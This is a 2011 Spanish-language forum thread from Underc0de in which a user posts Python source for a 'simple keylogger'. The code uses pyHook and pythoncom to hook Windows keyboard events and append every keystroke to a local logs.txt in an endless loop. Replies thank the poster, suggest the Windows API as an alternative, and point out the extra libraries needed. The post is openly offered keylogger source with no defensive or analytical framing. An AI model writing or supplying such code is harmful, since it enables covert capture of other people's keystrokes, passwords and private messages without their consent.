Underc0de

Programación Scripting => Python => Mensaje iniciado por: BigBear en Julio 03, 2011, 09:36:01 PM

Título: [Python] Simple Keylogger
Publicado por: BigBear en Julio 03, 2011, 09:36:01 PM
Un simple keylogger en Python

Código (python) [Seleccionar]

#!usr/bin/python
#Simple Keylogger in Python
#(C) Doddy Hackman 2011

import pyHook,pythoncom


def savefile(name,text):
file = open(name,"a")
file.write(text+"\n")
file.close()

def toma(frase):
savefile("logs.txt",frase.Key)

def capturar():
nave = pyHook.HookManager()
nave.KeyDown = toma
nave.HookKeyboard()
pythoncom.PumpMessages()

while 1:
capturar()

# The End
Título: Re:[Python] Simple Keylogger
Publicado por: Sensei en Julio 04, 2011, 08:21:51 AM
Aún no he podido ver todos tus aportes, sólo unos cuantos y como no voy a comentar en todos, lo hago en este. Muchas gracias por estos códigos, serán muy útiles para gente como yo que está empezando para aprender a usar varios de los módulos de python.

Grandísimo trabajo!!!
Título: Re:[Python] Simple Keylogger
Publicado por: BigBear en Julio 04, 2011, 10:17:35 AM
gracias por el comentario sensei  ;)
Título: Re:[Python] Simple Keylogger
Publicado por: Ghost en Julio 20, 2011, 08:52:48 PM
Pues hasta sería mejor trabajar enteramente con el api de Windows (import win32api).
Como de seguro es un "copy-paste" deberán saber que este código usa dos librerías más no incluidas en el paquete de Python por lo general:

http://timgolden.me.uk/pywin32-docs/pythoncom.html
http://sourceforge.net/apps/mediawiki/pyhook/index.php?title=Main_Page
Título: Re:[Python] Simple Keylogger
Publicado por: BigBear en Julio 23, 2011, 09:48:58 PM
Na , es mas facil instalar las dos librerias que hacerlo usando la api de windows , pero es cuestion de cada uno.
Eso si  , a que te referis con copy-paste ¿?